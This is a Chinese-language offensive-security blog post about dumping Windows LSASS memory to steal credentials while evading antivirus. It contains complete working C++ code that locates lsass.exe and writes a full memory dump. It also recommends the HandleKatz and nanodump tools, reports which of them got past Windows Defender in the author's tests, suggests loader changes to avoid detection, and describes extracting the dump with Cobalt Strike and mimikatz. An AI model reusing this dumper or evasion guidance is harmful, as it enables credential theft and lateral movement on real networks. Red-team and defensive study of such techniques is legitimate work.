前言
dump lsass 进程是我们永远都逃不过话题,除非微软那天不用它保存凭据了,自然而然就不dump 它了,抓密码是渗透重要的环节,是横向扩展的基础,接下来讲讲见到如何绕过杀软dump lsass内存。
1.Procdump
老牌工具,这玩意,现在也不咋行了,虽然数字签名,但是人家杀软也不傻,虽然不敢杀你,删你文件,但是拦截你行为,是可以的
测试为windows denfender,不杀但是会拦。
这工具好像是调用MiniDumpWriteDump api来dump内存的,自己都可以用c++实现个
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+]---Got lsass.exe PID: " << lsassPID << endl;
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+]---lsass dumped successfully!" << endl;
}
return 0;
}
会调用dbghelp.dll 文件,所以需要给依赖
2.HandleKatz
github:https://github.com/codewhitesec/HandleKatz
这是Brucon2021会议提到的使用Lsass的克隆句来创建相同的混淆内存转储的一个实现,绕过windows defender dump lsass内存,但是现在应该不行了,但是国内的还是随便过的。
这个项目的特点是:
我觉得不好的地方就是他的加载器还是逃不过分配内存的短板,这个点我们可以改改,而且很容易改,比如不分配内存,直接放在.text段,就看大家怎么玩了
其实可以看看项目源码,特别有趣!!!,直接把实现dump lsass内存的shellcode进行bash64编码放在头文件的
现在作者学精了,把自己那段提取出来的shellcode base64给删了,之前这里都还有的,只有自己去提取了。
我最喜欢的亮点就是直接把核心的那段转换成shellcode,然后保存在程序的.text,然后通过函数的回调的方式执行并传递参数,精彩!!!!!
测试:
这是我虚拟机测试结果,居然成了,不可能,windows denfender 肯定是坏了!因为我很早就测过,dump不下来,进程被守护了,直接上真实物理机杀软,一直在更新。
物理数字杀软就没反应了,我就说嘛,咋今天又行了,随便把今天重点讲的项目nanodump给测了,结果是无压力过了,顺利dump出lsass内存
可以看到HandleKatz现在克隆句柄的操作都不行了,我记得之前还可以克隆具柄来着,但是dump lsass内存dump不下来,应该是被守护进程保护了,绕不过。
3.nanodump
这也是github上面的项目,很热乎,刚提交不交,被我无意间发现了,这就是个宝藏。
github 项目https://github.com/helpsystems/nanodump
这个项目的特点:
值得一提的是,这个项目能过windows defender 进行dump lsass内存,且只把相关的内容给dump下来,非常的香!!!支持cs脚本使用,且是通过命名管道传输,不接触磁盘。
值得注意的是:
文件小是因为忽略lsass中的大部分内容并仅保留与 mimikatz 相关的那些,例如 kerberos.dll 和 wdigest.dll
编译就不说了,一个命令搞定,不能就两个。
本地测试:
cs上面测试,当然你首先得对抗windows denfender 上线:
用自带的脚本解密:
读取dmp文件
总结
在攻防对抗中,杀软在不断学习进步,弥补自身的短板缺点,免杀技术在不断的更新,也是不断的为杀软提供规则库,免杀越来越艰难,是我们变弱了吗?我觉得是杀软变强了,每天都吸收了成百上千的样本的特征,规则在不断完善,检测体系在不断的完善。
可以看到在dump lsass内存的手法上免杀成功总结大概几点:
热爱免杀,热爱对抗。
END